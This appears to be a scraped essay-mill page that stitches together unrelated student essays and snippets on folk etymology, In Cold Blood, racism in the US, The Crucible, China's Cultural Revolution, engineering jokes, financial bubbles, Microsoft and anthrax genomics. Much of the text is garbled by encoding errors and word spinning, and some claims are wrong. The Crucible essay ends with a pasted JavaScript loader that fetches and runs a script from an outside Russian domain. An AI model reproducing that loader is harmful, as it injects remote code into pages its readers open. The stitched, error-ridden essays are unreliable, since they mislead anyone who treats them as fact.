Overview of Folk Etymology

Folk etymology involves a change in the form or pronunciation of a word or phrase resulting from a mistaken assumption about its composition or meaning. Also called popular etymology. G. Runblad and D.B. Kronenfeld identify two main groups of folk etymology, which they call Class I and Class II. Class I contains folk-etymologies where some change has occurred, either in meaning or form, or both. Folk etymologies of the Class II type, on the other hand, do not usually change the meaning or form of the word, but function mainly as some popular, though false, etymological explanation of the word (Lexicology, Semantics, and Lexicography, 2000). Class I is by far the more common type of folk etymology. Connie Eble points out that folk etymology applies mostly to foreign words, learned or old-fashioned words, scientific names, and place-names (Slang and Sociability, 1996). Examples and Observations The process of altering otherwise incomprehensible words, in order to give them a semblance of meaning, is called folk, or popular, etymology. A product of ignorance, it nevertheless should not be underestimated as a factor of language history, for many familiar words owe their form to it. In kitty-corner, kitty is a jocular substitution for cater-. Cater-corner is an opaque compound, while kitty-corner (diagonally from) suggests the movement of a prowling cat. . . .Stepmother, stepdaughter, and so forth suggest the derivation from step. Yet a stepchild is not one step removed from its natural parent; -step goes back to a word meaning bereaved. Many people share Samuel Johnsons opinion that bonfire is a good fire, from French bon, but it means bonefire. Old bones were used as fuel down to the 1800s. The vowel o was shortened before -nf (a regular change before two consonants), and a native English word began to look half-French.(Anatoly Liberman, Word Origins: Etymology for Everyone. Oxford University Press, 2009) Woodchuck and Cockroach Examples: Algonquian otchek a groundhog became by folk etymology woodchuck; Spanish cucaracha became by folk etymology cockroach.(Sol Steinmetz, Semantic Antics: How and Why Words Change Meanings. Random House, 2008)   Female Historically, female, from Middle English femelle (from Old French femelle, a diminutive form of Latin femina woman/female), is unrelated to male (Old French male/masle; Latin masculus (little man/male); but Middle English femelle was clearly remodeled into female based on the association with male (approximately the 14th century) (OED). The remodeling of female brought female and male into their current and apparently sense-related and asymmetric relationship (one that many of us, now, are going to some lengths to unmake.(Gabriella Runblad and David B. Kronenfeld, Folk-Etymology: Haphazard Perversion or Shrewd Analogy.  Lexicology, Semantics, and Lexicography, ed. by  Julie Coleman and Christian Kay. John Benjamins, 2000) Bridegroom When people hear a foreign or unfamiliar word for the first time, they try to make sense of it by relating it to words they know well. They guess what it must mean--and often guess wrong. However, if enough people make the same wrong guess, the error can become part of the language. Such erroneous forms are called folk or popular etymologies.Bridegroom provides a good example. What has a groom got to do with getting married? Is he going to groom the bride, in some way? Or perhaps he is responsible for horses to carry him and his bride off into the sunset? The true explanation is more prosaic. The Middle English form was bridgome, which goes back to Old English brydguma, from bride guma man. However, gome died out during the Middle English period. By the 16th century its meaning was no longer apparent, and it came to be popularly replaced by a similar-sounding word, grome, serving lad. This later developed the sense of servant having the care of horses, which is the dominant sense to day. But bridegroom never meant anything more than brides man.(David Crystal, The Cambridge Encyclopedia of the English Language. Cambridge University Press, 2003) EtymologyFrom the German,  Volksetymologie

Justice And Punishment In Truman Capotes In Cold Blood

In the United States, there are millions of people that are in jail cells for crimes they have committed. One of the goals of prison is to provide justice for the victim’s crimes but in our prison system, this is not the case. These people face harsh punishments that only cause worse actions in the future. The theme of justice and punishment is explored by Truman Capote in the book In Cold Blood. The two criminals, Dick and Perry, are challenged by society on if they should be imprisoned or if they should be free. In Capote’s work, the use of syntax, diction, and a variety of details portray the current system of punishment as cruel and ineffective in providing justice. The use of syntax helps describe the treatment in prisons as†¦show more content†¦The next sentence is structured to show how the government is hypocritical as it murders people even though it is against the law. This shows how the system of murder is against the law, it shows how punishment is not legally justified. The system of murder does not give mercy as described later on and does the opposite. The parallelism of the word mercy shows how the system of murder is an ineffective form of punishment as it does not give mercy but instead seeks revenge by killing someone. Through syntax, Dick describes his ideas on capital punishment. Capote states that all the government wants is revenge by stating that †They’re mad ‘cause they’re not getting what they want revenge. I believe in hanging. Just so long as I’m not the one being hanged†(336). The informal tone is broken with the hyphen that makes the word revenge stand out. The tone is said with more emphasis and it becomes very serious. Thus, the capital punishment did not provide justice but instead only focused on revenge rather than improving a persons mental state. Through the use of diction, Capote implies that prisoners are treated differently from others. Capote uses diction when he states, â€Å"Unlike conventional prisoners, the condemned†¦Ã¢â‚¬  (Capote 321).The use of the word condemned makes it sound as if the prisoners are victims. Since they are victims, it is implying that society is cruel and prisoners are treated unequally and as victims. The use of prisonsShow MoreRelatedTruman Capote s Cold Blood1620 Words   |  7 PagesTruman Capote is recognized by many for being a screenwriter, creating a plethora of short stories, and famously for his notable work-- Breakfast at Tiffany’s. Not only was this novel popular back in the 1950’s, Capote released a later novel that drew in many fans-- In Cold Blood. The very formation of Capote s novels and short stories seems to be increasingly insufficient to the eccentric dynamics of the time era (nytimes). Agonizing, horrible, surfeited with disasters -- all used to describeRead MoreInvestigation Of Justice State V. Hickock And Smith1085 Words   |  5 PagesVanderwall English 1120 30-September-2016 Investigation of Justice in State v. Hickock and Smith In compliance with the United States Constitution, â€Å"in all criminal prosecutions, the accused shall enjoy the right to a speedy and public trial, by an impartial jury† (U.S. Consitution. Art./Amend. XIII)†. The infamous trial in the state of Kansas, State v. Hickock and Smith, documented in the iconic true crime novel In Cold Blood, by Truman Capote details the events of the murder of four innocent peopleRead MoreTruman Capote -In Cold Blood - Nature vs Nurture1274 Words   |  6 Pagesryan hegarty In Cold Blood. Question 2 â€Å"Nature vs Nurture† Truman Capote’s acclaimed â€Å"non-fiction† novel, In Cold Blood explores the concept as to whether killers are born or made, following the brutal murders of the Clutter family in rural Kansas. Capote develops Perry Smith’s horrid, unfortunate upbringing as a key narrative device which serves to illustrate the effect of childhood experiences on adult behaviour. Capote manipulates the reader’s idea of morality, controversially portraying PerryRead MoreEssay on Vengeance in Truman Capotes In Cold Blood2075 Words   |  9 Pagesfifty years ago in the [rural] heartland of America, that word evoked emotion out of the entire town’s population. Prior to writing In Cold Blood, Truman Capote had written several pieces that lead him to writing a piece of literature that would infuse fiction and nonfiction, thus In Cold Blood was created, albeit after six years of research (â€Å"Truman† 84). Truman Capote is one of the more fascinating figures on the American literary landscape, being one of the countrys few writers to cross the borderRead MoreThe Cold Blood : A Critical Analysis1965 Words   |  8 PagesIn Cold Blood: A critical analysis â€Å"There are two kinds of people - those who are changing and those who are setting themselves up to be victims of change.† You can rephrase the above statement in a thousand different ways. One might divide people into two groups, â€Å"good† and â€Å"bad†, the simplest of ways to categorize people. Then again, one could categorize people into two different groups, â€Å"people who like baseball† and â€Å"people who dislike baseball†. Like I said, you can say it in a thousand differentRead MoreTruman Capote s A Cold Blood Makes A Great Case For Justice1719 Words   |  7 Pages Truman Capote’s In Cold Blood makes a great case for justice in relation to death. In the book, two criminals, Dick and Perry, worked together to murder the Clutters. They got caught and trial, however at the time Kansas maximum incarceration was life imprisonment with parole and most prisoners are paroled after twenty years. Twenty years of imprisonment for br utally killing four members of the most influential family in the area, causing mass hysteria for everyone in Holcomb and for others whoRead MoreAnalysis Of Truman Capote s I Am A Criminal1952 Words   |  8 Pagessimplest of ways to categorize people. Then again, one could categorize people into two different groups, â€Å"people who like baseball† and â€Å"people who dislike baseball†. Like I said, you can say it in a thousand different ways. However, for one man, Truman Capote, the dividing line between two people was a rather complex one. In regard to a person’s ethos, if you will, an individual is not â€Å"born into† a certain role in society, rather society determines one’s role. That being said, the point I amRead MoreAnalysis Of Truman Capote s The Cold Blood 2055 Words   |  9 PagesJaswanth Sai Pyneni Mrs. Jiminez AP American Literature Language and Composition 3 August 2012 In Cold Blood 1. Capote, Truman. In Cold Blood. NY: Modern Library, 1965 2. Postmodernist Crime Nonfiction 3. In â€Å"In Cold Blood†(1965), a nonfiction novel, Truman Capote accounts for the murder of the Clutter family, residing in Holcomb, Kansas, and the events that followed. The mode of development includes Gothic themes and motifs to make the audience question the roles of the protagonists and the antagonistsRead MorePresentation Of Sympathy For Criminals1867 Words   |  8 PagesAssessment 2: Evocation of Sympathy for Criminals: The Effect of Sympathy on Justice in In Cold Blood and Helter Skelter ‘It is quite legitimate to hold the offender accountable for the suffering he has caused, but he himself has the right to be heard as well’ Boutellier here discusses the right the criminal has to be heard, but not the right they have to sympathy. Sympathy for criminals is an interesting device used in literature to give the reader a sense of injustice on their behalf. In contrastRead MoreAnalysis Of The Book The Cold Blood 2963 Words   |  12 Pagesthe other woman. When the stories become associated with one another, the book is separated once again into a different part, telling their stories together, but with chapters separating their points of view on the shared story. In the novel In Cold Blood, the book is separated into four main parts: time before the murder, time leading up to murder, and time after the murder. Inside of the separate parts, the stories of the victims and the stories of the actual killers are separated by sections,

Order No Free Essays

Blacks only migrated to the United States. You find that most a times, the black usually move to the united states in search of increased standards of living say education and jobs. Most of the immigrants to the United States are blacks. We will write a custom essay sample on Order No or any similar topic only for you Order Now Racism is one of the central features in the united states society since blacks and other people of colour are have discriminated so much in many fields. You find that most of the blacks and even the black Americans are usually discriminated on their race. For example in the areas of employment, blacks are usually seen as unproductive and hence discriminated in these areas. Its argued that most of Its forms have recently   changed but, in this case   we only need to look no further than the rates in unemployment which black people normally face, the rising levels of property by the blacks as when compared to the citizens of that country and, life expectancy rates, incomes as when compared to the citizens of that country and the stereotypes in the mass media   in order   to understand that racism and racial inequality still remains in the united states. (Allport, 2003). The value of racism that is examined in this case is that historically we find that racism can be analyzed as a central aspect of most of the economic system. In this case I can examine the Marxist theory which says that racism is supposed to only serve the capitalists or even the wealthy in the society at the expense of the suffering few. Also in the theory colonialism, many groups have come up with many theories that based their arguments and challenged racial injustice. All this is said to have happened in the early 60s and 70s.This theory needs to be modified and it’s also relevant to examine the United States societies although it needs to be modified, it is relevant to examine the United States societies and its impacts to the blacks who live in the United States. (Butler, 1997). In the dual labour market, you find that the blacks are usually neglected in both the public and the private sectors. The issue of wages has been dodged by controversy which leaves us with the question of what can be considered as the right wages. A right wage can be said to be a compensation for a service offered which equals the amount of effort that was used in the service. Going with the labor theories, employer has a moral duty of ensuring that they pay the employees a wage which is equal to their input in their services.   An engineer will not be expected to be paid the same amount of wage as a casual laborer. These are some of the segmentation in the labor market that we have to agree with. But in most of the dual sectors that is the public and the private sectors, you find that, blacks are usually discriminated and usually do hard work with only small wages. (Butler, 1997). Institutional discrimination is also evident in the blacks who stay in the United States. In most of these institutions, you find that blacks are usually denied access to some of the institutions.Ofcourse institutional discrimination is something which blacks have faced for quite a long time. For example, during the early times, blacks were forced in to institutional slavery. In this case, blacks were usually captured and taken as slavery by the American. Even today some of these cases do happen since you find that most of the blacks who go stay in America are forced to do hard work since they are discriminated in certain institutions. (Butler, 1997). Double jeopardy does not happen to the blacks who live in the United States. Double jeopardy can be taken as the case when a criminal is supposed to be tried for a second time of the crime committed. In this case, blacks are not double jeopardized since there is a law which governs human rights and even for the immigrants who live in the United States. (Allport, 2003). Redlining also happens to the blacks which live in the United States. Redlining means the case when the costs of living are increased or even denied to some groups of individuals. But for this case, the blacks are denied their standards of living despite the human rights constitution which states that immigrants should be protected. In this case, redlining can be seen in various accesses to jobs. Most of the blacks are usually denied access to job facilities and are mostly supposed to do the casual activities over there. There costs of living are low as when compared to the citizens of that country. Evvironmental justice is also accorded to the blacks who stay in the United States. You find that the human rights act which is set by various non governmental programs to help protect immigrants who come to unites states have been applied in most of these cases. People have the right to move to any country and enjoy the benefits of that country just like anybody else. Affirmative action can be seen in the areas of employment. Out of research, it has been found that employer support for affirmative action has a significant and positive influence on the blacks who stay in the United States and this can be seen at the higher job levels. (Allport, 2003). Conclusion Blacks are one of the ethnic groups in the United States. They migrated to the United States in search of jobs, higher education and also increased standards of living. Despite their movement to these places, they usually face a lot of discrimination. For example they face a lot of racial discrimination. You find that the blacks are usually denied access to various jobs but the only job they can easily access is the casual job. Reference Allport, G. (2003): The nature of prejudice. Vancouver, West coast Coalition for Human Dignity. Butler, P. (1997): Affirmative action. Diversity and options. University of Colorado Law review. Vol. 68.    How to cite Order No, Essay examples

The Crucible Society Versus The Individual free essay sample

The Crucible: Society Versus The Individual Essay, Research Paper Arthur Miller # 8217 ; s The Crucible focal points on the fearful relationship between society and the person ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) . Individual: being a enchantress in the 17th century or being a Communist in the 1950 # 8217 ; s. Miller provinces: The Crucible is involved basically with the societal dealingss of human existences, and accordingly, the prevailing accent in composing the drama was on the struggle ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) . Although, both state of affairss coincide with Inquisition and mass craze, they conflict at the fact that Communism among Americans existed in the 1950 # 8217 ; s, while witchery among 17th century Salem townsfolk failed to be an actuality. In both clip periods question was present. As in 1692, the Inquisition of enchantresss and aces had its contentions, so did the subjugation on Communist party members in the 1950 # 8217 ; s ( # 8221 ; Un- American Activities, House Committee on # 8221 ; Microsoft Encarta 97 Encyclopedia, # 8220 ; Witchcraft # 8221 ; Microsoft Encarta 97 Encyclopedia ) . We will write a custom essay sample on The Crucible Society Versus The Individual or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page Twenty people were hanged for non squealing to such unorthodoxies. Similarly, big Numberss of Americans lost their occupations and stuffs or were imprisoned if failed to be a true American. What is shown in both epochs was the being of what we can name uncorroborated grounds and agony of being accused. Questions and hearings such as these stirred up intuition and fright, doing mass craze. Both epochs suffered from this. Those accused of witchery and wizardry saved themselves by squealing and so by impeaching others. To be arraigned, all you need is some undistinguished sum of cogent evidence by a townsperson or accused enchantress, many of which accusals were merely retaliation of past incidents, or to pacify the tribunal. Similarly, this happened during the McCarthy Era. Knowing the incorrect individual affected your standing possibilities of whether you would be arraigned or non. Therefore, everyone feared / gt ; each other, if you were or were non a suspect. Indicating fingers was the lone manner to demo your earnestness to the protection of the state. Mass craze was a consequence of these hearings because of the intuition and fear it stirred. The Red Scare and the Salem enchantress tests were decidedly alike in some ways, still, the parallel fails at one of import point: Communism existed ; witchery did non ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) . At the clip of the Salem enchantress tests, the psychological provinces ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) of the victims were different than those during the Red Scare. Miller provinces: # 8230 ; the person is seen through society ( # 8221 ; Just Looking for a Home # 8221 ; online ) . He is mentioning to the McCarthy Era. Those blacklisted were connected with the Communist Party, and they were guilty of that. Yet, others had no connexion at all. So, Communism was existent and society looked down on the bing Communists. But, Miller besides states: # 8230 ; society is seen through the person ( # 8221 ; Just Looking for a Home # 8221 ; online ) . Here, he refers to the psychological province of the victims of the Salem enchantress tests. All the accused were non enchantresss, but were forced to believe that they were the # 8220 ; bad # 8221 ; of society. Although, this is non so among the McCarthy Era, because they knew whether or non they were Capitalist or Communist. An illustration of forced belief comes from Tituba # 8217 ; s confession. To counterbalance, you had to squeal. In other words, the victim in Salem believed he was # 8220 ; bad # 8221 ; and saw society as # 8220 ; good. # 8221 ; Communism existed in the McCarthy Era, but witchcraft merely existed among the Salem townsfolk because they were forced to believe that it existed among themselves. Arthur Miller was able to reflect the same quandary that existed on both clip periods. However, they differ in the existent being of the # 8220 ; bad # 8221 ; persons. Many guiltless lives and worklives were claimed as a consequence of these tests, yet, Arthur Miller was able to expound this through his plants. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Cultural Revolution and Education in China during 1960s

The role of education in the social development is significant because the changes in the education sphere can influence not only the aspects of the people’s everyday life and social status but also their occupation and economic status. The Cultural Revolution in China of 1966-1977can be discussed as the catalyst and process which changed the history of the Chinese society significantly.Advertising We will write a custom research paper sample on Cultural Revolution and Education in China during 1960s-1970s specifically for you for only $16.05 $11/page Learn More All the economic and social spheres of the community’s development were reformed with references to changing the traditional visions of the Chinese people. The Communist ideals promoted by Mao Zedong became to play the key role in determining the principles of the Chinese people’s life in relation to their education and labor. Different ideological techniques used by the Comm unists were chosen as the means of the Cultural Revolution in order to affect the society. That is why, there is a range of ideas on the impact of the Cultural Revolution on education and its role within the society. The strategies of the Cultural Revolution affected the development of the Chinese society notably, and it is important to learn what impact the Cultural Revolution had on the sphere of education in China during the period of the 1960s-1970s. Although researchers propose different views to answer the question, the general impact of the Cultural Revolution on the education in China during the 1960s-1970s can be discussed as negative because of the strong connection of education and agricultural growth instead of improving education independently, the focus on economic benefits of reforms, and because of provoking the interrupted education. The discussion of this argument is important to analyze the effects of the Cultural Revolution directly on education, without referenc es to the economic sphere. The perspectives from which it is possible to discuss the role of the Cultural Revolution in the progress of the education sphere in China are various that is why researchers are inclined to evaluate the consequences of the Cultural Revolution for education regarding different outcomes and priorities. From this point, many researchers focus on the positive features and outcomes of the Cultural Revolution for reforming the sphere of education in China according to the Communist standards. The other scholars choose not to conclude about the consequences directly, and their positions can be considered as uncertain. To see the complete picture of the process depending on different viewpoints in order to evaluate the outcomes, it is necessary to concentrate on various discussions of the question.Advertising Looking for research paper on asian? Let's see if we can help you! Get your first paper with 15% OFF Learn More Thus, according to Han, the Cu ltural Revolution had the positive effect on education because of increasing the number of schools and improving the school curricula in relation to the local needs of the rural territories (Han 60). The improvements and revisions in the curriculum led to the rapid educational expansion and to providing more educational opportunities for the Chinese people (Han 70). This opinion is based on discussing the positive effects of education reforms associated with the general educational expansion. However, this approach cannot be discussed as relevant because Han predominantly operates the evidences on the positive changes in the agricultural sphere. Han focuses on the role of reforms during the Cultural Revolution era for developing people’s farming and industrial skills necessary for the progress of the rural territories (Han 80). Nevertheless, the aspect of the education quality for the Chinese people is not discussed independently, without references to the agricultural sphere . Such researchers as Wang avoid providing the evaluation of the consequences of the Cultural Revolution for the progress of the Chinese society, including the sphere of education because of the lack of credible evidences which can be used to support definite ideas (Wang 199-203). In his work, Wang states that the discussion of the process’s effects on the social sphere is impossible without references to the views of liberal and radical political forces that is why there are always several positions regarding the impact of the Cultural Revolution on the economic and social development of China, including the analysis of reforms in the sphere of education (Wang 215-217). However, the uncertainness in relation to answering the problematic question about the impact of the Cultural Revolution in China cannot be discussed as the appropriate evaluation of the observed effects. Moreover, Wang’s position is irrelevant because today it is possible to refer to a lot of evidence s and resources to state certain ideas and evaluate the role of the Cultural Revolution for education during the post-revolution period. The discussed views are supported by different scholars, but more concrete answers are necessary to respond to the problematic question clearly. From this perspective, it is possible to state that in spite of the focus on reformation, the Cultural Revolution influenced education in China during the period of the 1960s-1970s negatively because the aspect of education quality was not taken into consideration without linking to the effects on the economic development of the rural territories in China.Advertising We will write a custom research paper sample on Cultural Revolution and Education in China during 1960s-1970s specifically for you for only $16.05 $11/page Learn More Thus, the progress of rural territories was the priority for politicians to implement the reforms in education along with intensifying the labor for ce possibilities in the agricultural sector. During the Cultural Revolution, the improvements in education were not discussed as independent reforms because they were oriented to influencing the economic sphere of the rural territories positively. As a result, the general effect of such reforms was negative because of ignoring the quality aspect. In their work, Zhou and Hou state that the connection of education development and agricultural growth was direct because politicians chose to use the send-down policy and to force former students to live and work at the rural territories in order to contribute to the progress of the agricultural sector (Zhou and Hou 15). Thus, â€Å"in a 12-year period, over 17 million urban ‘educated youth’ (mostly graduates from only junior and senior high school) were forced to live and work in rural areas†, and many schools in the urban territories were closed (Zhou and Hou 13). Following the ideological and political principles of Communism, those authorities who realized the Cultural Revolution in the sphere of education contributed to the educational decline, but stimulated the progress in farming and agriculture. Nevertheless, the focus on economic benefits of the reforms in the sphere of education can also be discussed more generally. Thus, changes in the approaches to education in the rural territories could guarantee the satisfaction of the local economic needs (Zhou and Hou 12-14). Mao Zedong proclaimed the idea that the economy of China could progress as a result of the Cultural Revolution with the help of re-education processes when millions of students were forced to leave their studies because of the necessities to reform the agricultural sector and educate the youth in relation to the development of farming and industrial skills (Zhou and Hou 12-13). The effects of the re-education policies and tendencies and the focus on developing school and university curricula in detail led to the catastrophic results for the quality of education because of the lack of possibilities for students to continue their education during the Cultural Revolution era (Zhou and Hou 14-15). Many educational institutions ceased their activities for a certain period of time, and the send-down policy resulted in the progress of economy along with the obvious educational decline. Instead of providing students with the necessary knowledge on different academic disciplines, the authors of the policies and reforms concentrated on improving the economy with the help of re-education and re-distribution of labor force at the territories of the country.Advertising Looking for research paper on asian? Let's see if we can help you! Get your first paper with 15% OFF Learn More One of the most dramatic effects of the reforms typical for the period of the Cultural Revolution on education was the emphasis on interrupted education. The Cultural Revolution can be discussed as the prolonged process during which the approaches to education were re-examined from the social and economic perspectives. To respond to the local needs of the rural territories, the majority of schools in towns were closed to provide the country regions with educated farmers and professionals in agriculture. According to Meng and Gregory, â€Å"the 11 years of the Cultural Revolution, 1966-77, affected the formal education of a whole generation of young people† (Meng and Gregory 935). Thus, schools were closed, and the quality of people’s knowledge decreased because of impossibility to get the access to education. New students were not recruited in universities, and those ones who studied there when the reforms started had to cease their academic activities (Meng and Gregor y 936). As a result, there were no real positive improvements in the education sphere until 1977-1978 when the new curricula were implemented in schools and universities. The interrupted education became the sign of the period in relation to the education question, and this process resulted in decreasing of the general quality of education and knowledge because students experienced significant difficulties while continuing their education after the period of reformation. From this perspective, interrupted education as well as the focus on the economic benefits can be discussed as the negative effects which are connected with the period of reforming and improving the education sphere in the context of the Cultural Revolution. Although the representatives of the new political force stated that the all the spheres of the economic and social life could benefit from realizing the reforms associated with the Cultural Revolution, the real situation differed significantly from the authoriti es’ proclamation (Han; Meng and Gregory). Education can be discussed as the aspect of the Chinese people’s social life which was most negatively affected by the proclaimed reforms and improvements. The evidences provided by Han and Wang on the role of the Cultural Revolution for education in China during the period of the 1960s-1970s cannot be discussed as relevant to state that these reforms had the positive impact on the sphere of education because the proper analysis of the topic supports the view that reforms responded to the economic needs but not to educational issues. That is why, it is rather problematic to focus on the minor positive effects of the process instead of analyzing the general and complete picture according to which the Cultural Revolution did not contribute to the progress of educational sphere. Thus, the impact of the Cultural Revolution on education in China during the period of the 1960s-1970s can be discussed as negative and even catastrophic because the real needs of the sphere of education were ignored and changed with the other economic and social goals which were not directly connected with the quality of education. The process was not advantageous for students because they had to leave schools and universities in order to live and work in the rural territories. As a result, the economic state of the territories was improved, and the agricultural sector started the development according to the new directions. On the contrary, the sphere of education was in decline because the needs of this sphere were not responded and satisfied adequately according to the proclaimed goals and ideals. The statement of the idea that the reforms of the Cultural Revolution were not effective for education during the period of the 1960s-1970s is significant because it allows the critical evaluation of the era’s results for the quality of education which can be discussed as the main criterion to speak about education as the social value. The increase in number of schools in the rural territories, and the focus on providing the educational opportunities for people in the country were previously discussed as positive moments associated with the Cultural Revolution. However, the analysis of the evidences supports the idea that these advantages cannot be considered as positive without references to the economic aspect. The advantages for people in relation to the quality of education were not taken into consideration, and they were not discussed the policies’ priorities. Works Cited Han, Dongping. â€Å"Impact of the Cultural Revolution on Rural Education and Economic Development: The Case of Jimo County†. Modern China 27.1 (2001): 59-90. Print. Meng, Xin, and Robert Gregory. â€Å"The Impact of Interrupted Education on Subsequent Educational Attainment: A Cost of the Chinese Cultural Revolution†. Economic Development and Cultural Change 50.4 (2002): 935-959. Print. Wang, Shaoguang. â€Å"â €™New Trends of Thought’ on the Cultural Revolution†. Journal of Contemporary China 8.21 (1999): 197-217. Print. Zhou, Xueguang, and Liren Hou. â€Å"Children of the Cultural Revolution: The State and the Life Course in the People’s Republic of China†. American Sociological Review 64.1 (1999): 12-36. Print. This research paper on Cultural Revolution and Education in China during 1960s-1970s was written and submitted by user N1k0las to help you with your own studies. You are free to use it for research and reference purposes in order to write your own paper; however, you must cite it accordingly. You can donate your paper here.

Funny Engineering Jokes for Engineers

Funny Engineering Jokes for Engineers Its possible you might have to be an engineer to truly appreciate engineering jokes and humor, but if you get the jokes, they are certainly funny! Lazy Engineers Engineering is all about laziness in the name of a better life. Ill-Advised A fire engineer, who could not speak Arabic, was finding it difficult to market his newly invented fire extinguisher in the Arabian continent. He consulted an expert who advised him to use photographic symbols. Now he proceeded with a three-stage demonstration photographs, namely (1) a car on fire, (2) a man fighting the fire with the device, then (3) a clean car. Meanwhile, the Arabs read from right to the left, so they avoided the device completely. Advances and Details A young damsel was asked why she would not marry either of her engineer or lawyer boyfriends. She replied the engineers make advances and add no detail, the lawyers argue details and make no advance. Engineering Joke An engineer is someone who uses a slide rule to multiply two by two; gets an answer of 3.99 and calls it 4 to the nearest significant figure. Light Bulbs How many software engineers does it take to change a lightbulb? None. They wouldnt do it. Its a hardware problem. Chemical Engineer Vs. Chemist Whats the difference between a chemical engineer and a chemist? Answer: about $50k a year Chemical Engineer and Chemist Whats the difference between a chemical engineer and a chemist? A chemical engineer does for profit what a chemist does for fun. Wife or Mistress? An architect, artist, and engineer were discussing whether it was better to spend time with their wives or mistresses. The architect said, I like spending time with my wife building a firm foundation of a marriage. The artist said, I enjoy the time I spend with my mistress because of all the passion and energy. The engineer said I enjoy both. If you have a wife and a mistress, both women think you are with the other so you can go to work get more done MechE and CivE The Mechanical Engineers and Civil Engineers post below can add Chemical Engineers as engineers that build targets that explode really well. The Physicist A physicist was sitting in his room alone and realized that he felt depressed. So he went to a psychologist to see if the psychologist could help him feel better again. After a little bit of introduction and talking about the physicists life, the psychologist looks at his notes and tells the physicist, Well, I think I know what brings you down the most.† Well, what is it? asked the physicist.† Gravity. Definition of an Engineer What is the definition of an engineer? Answer: Someone who solves a problem you didnt know you had, in a way you dont understand. It Takes One to Know One Engineer and Mathematician (males) were given the opportunity to compete for a very attractive woman. But there was one condition: You can only run half the remaining distance between you and the lady. Eng. sprinted forward while Math. didnt. Why arent you running? Asked members of the Committee. Because, by definition, I will never be allowed to reach my target. And you Eng. why are you running? Dont you know the same? Yes, said Eng. my learned friend is correct. But I will get close enough for all practical purposes.

Financial Bubbles Assignment Example | Topics and Well Written Essays - 500 words

Financial Bubbles - Assignment Example The increase in demand pushed the price of this flower to the sky, leading to market maneuvers of artificial scarcity and artificial price hike. As they say, a bubble bursts when the investors start minting money out of it. Soon when people realized this situation they started selling their stocks and the large contractor started dishonoring their contracts thus resulting in the crash of the bulb market and the bubble burst/ Tech Bubble – 1999 This bubble is also known as the Dot.Com bubble. It happened when the technology market boomed and the internet business was thought to be the star of future profit. NASDAQ soared and so did these internet companies. But then in the late 1999 and the beginning of 2000 saw a crash of this internet bubble when the companies themselves could not take the over burden of these demands and showed losses that very high and pushed the index to a shocking low level, thus resulting in a bubble burst.

Microsoft Introduction Research Paper Example | Topics and Well Written Essays - 750 words

Microsoft Introduction - Research Paper Example Bill Gates was the first president while Paul Allen was the executive vice-president (Nell 12) Microsoft a corporation, like others has goals, vision and mission. The vision of Microsoft is to create accessible innovative technology, which sheds light on its mission which is to make people and businesses all over the word to realize their potential. The company’s main focus is on software products and services where they develop and also license them. Microsoft operating systems is among its products that mainly allow a computer to operate. Microsoft has packaging software called Microsoft Office that is used in an office set up which include word processor and spreadsheet among others (Randall 22). Microsoft has had three C.E.O’s since it was found with Bill Gates as the first one and Steve Ballmer being the second. Sadya Natella is the third and current C.E.O of Microsoft. He has been working with the company for more than two decades and he is famous for pushing vigorous changes in the company’s culture and products. This has led to him having a reputa tion of proven potential and capability of being the C.E.O of a big corporation like Microsoft. The company’s main headquarters is on One Microsoft way, in Redmond, Washington, United States of America. Microsoft has put a lot of effort to make sure most parts of the world are experiencing its availability. Branches of Microsoft are mainly found in the United States of America with its subsidiaries in more than seventeen countries. Some of these countries are France, India, Canada, Nigeria and Peru, which mostly deal with its software and programming industry. Microsoft is estimated to have one hundred and twenty eight thousand employees (128,000). Microsoft has been focusing keenly on expanding its markets in all the continents of the world to keep up with competition in the computing world. There are three subsidiaries that I have chosen for this project and they are Microsoft

Genomics, Vaccines & Weaponization Essay Example | Topics and Well Written Essays - 1250 words

Genomics, Vaccines & Weaponization - Essay Example The second step is to produce the recombinant proteins in E.coli bacteria, and this may range to about 350 proteins. These proteins are then purified and used in mice. The immune sera so obtained would be collected and would be assayed to determine their binding capacity with the proteins on the N. meningitides B bacteria to observe any kind of bactericidal activity in vitro. A few numbers of proteins can be taken that have a high titer in all the assays. Here the protein sequence variability was being studied in the isolates of N. mengitidis B bacteria and from these the final candidates would be 2 vaccines that met all the criteria should be selected and had no sequence variability. This can undergo phase 1 clinical trial (Fraser 23-33). Robert Stevens was dying from inhalation anthrax and was dying from the disease, in September 2001 following the 911 attacks. He had received a letter containing some strange powder and following coming in contact with this powder became ill. His b ody was taken to Northern Arizona University wherein biologist Paul Keim had invented a molecular biology technology of distinguishing one strain of anthrax from another. Keim had collected about 88 strains of anthrax and tried to compare them with each of these. He compared the DNA (genome) of the bacteria and located for various genetic markers specifically 8 in number, and found that it had matched one that was used by the US Army for its vaccine studies as it was a highly virulent bacterium and could be used in bioterrorism. This strain was known as the Ames Strain and was first isolated from a cow in Texas in 1981 and was sent to the USSAMRIID for research (US Department of Justice ). The bacteria had passed several hands of various laboratories. They later studied the difference between the Ames anthrax bacteria and the bacteria that killed Stevens. They compared 5 million chemical letters present in 5000 genes. After doing all these studies, they found that the genome of the bacteria that was present in Stevens’s body was the same as the Ames strain, and they could not identify specifically from which lab was the sample smuggled out and used by the terrorists. Mutations that the bacteria would undergo after being passed from one lab to another was being studied, but the scientist did not find any differences. Finally they found that the genome of morph D of the bacteria did contain a large portion that was missing and this was caused by an altered chemical letter in the DNA. They zeroed down to 8 out of the 1000 samples collected and this was traced to an army laboratory USAMRIID and the researcher involved was Bruce Ivins who had committed suicide after he was declared the prime suspect (PBS). Biological warfare is the use of biological agents or their toxins in order to destroy human, animal and plant life and would be an act of terrorism or war. These biological organisms are capable of reproducing on the hosts or are able to release toxic sub stances on the host, cause disease and finally kill or cause critical illnesses in the host. Some of the biological weapons may actually be lethal, whereas other may be non-lethal but may have a disastrous effect. Further, by using infectious agents, the effect is even more disastrous and disease rapidly spreads from one individual to another, and drugs and vaccines that are required may not be immediately available. Most of such biological warfare agents are transmitted on contact or through

Effect of Supplier Management Procurement on Public Sectors

